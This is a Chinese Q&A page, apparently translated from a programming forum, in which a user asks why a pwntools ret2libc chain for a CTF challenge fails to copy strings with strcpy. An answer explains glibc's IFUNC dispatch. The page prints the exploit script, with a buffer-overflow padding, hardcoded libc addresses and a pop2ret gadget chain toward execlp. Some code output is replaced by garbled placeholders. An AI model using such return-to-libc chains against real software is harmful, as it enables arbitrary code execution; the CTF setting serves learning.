ret2libc strcpy不工作

2024-05-19 18:41:32 发布

您现在位置:Python中文网/ 问答频道 /正文

我正在尝试解决一个CTF的挑战,我需要使用ret2libc。问题是,当我试图使用strcpy将一些文本放在缓冲区中供以后使用时,它似乎不起作用。 挑战框仍然容易受到“ulimit-s unlimited”的攻击,因此我们可以修复libc地址。下面是我当前的python代码:

from pwn import *

def r2lc_print(write_buff,read_buff):
  strcpy_addr=0x55607a40
  pop2ret=0x55643876
  return p32(strcpy_addr)+p32(pop2ret)+p32(write_buff)+p32(read_buff)

buffer_size=172
execlp_addr=0x55643970

c00_str_addr=0x55575d37
a00_str_addr=0x55575d5e
t00_str_addr=0x55575440
write_buff=0x55576858

print cyclic(buffer_size)+r2lc_print(write_buff,c00_str_addr)+r2lc_print(write_buff,a00_str_addr)+r2lc_print(write_buff,t00_str_addr)+"A"*4

我通过在gdb中发出“p strcpy”得到strcpy地址。在

问题是strcpy似乎不完整,因为指令或调用都不会执行任何数据移动:

^{pr2}$

Tags: readsize地址bufferbuffwriteaddrprint
1条回答
网友
1楼 · 发布于 2024-05-19 18:41:32

我认为glibc的strncpy符号中的代码在延迟动态链接期间执行运行时CPU调度。它看起来像^{}中的asm。这个文件被多次构建(通过包含到其他文件中),STRCPY宏被定义为STRCPY、strncpy或者其他。在

我认为它只是返回一个应该使用的str[n]cpy版本的函数指针,调用它的动态链接器代码将该指针存储到PLT中,然后调用它。在


如果您编译了一个调用strncpy两次的小C程序,您可以单步执行第二次调用,惰性动态链接就已经完成了。在

#include <string.h>
int main(int argc, char**argv) {
        strncpy(argv[0], argv[1], 5);
        strncpy(argv[1], argv[2], 5);
}

gcc -m32 -Og foo.c -g编译。在

根据gdb的说法,在ubuntu15.10的libc-2.21.0.so中,PLT跳转会将函数带到任何符号之外。(我把set disassembly-flavor intellayout reg放在我的~/.gdbinit中以获得TUI register和asm“windows”。)

^{pr2}$

。。。最后是movaps/pcmpeqb/pmovmskb循环。这个函数是真正的strncpy实现,不分派给任何其他函数。在

相关问题 更多 >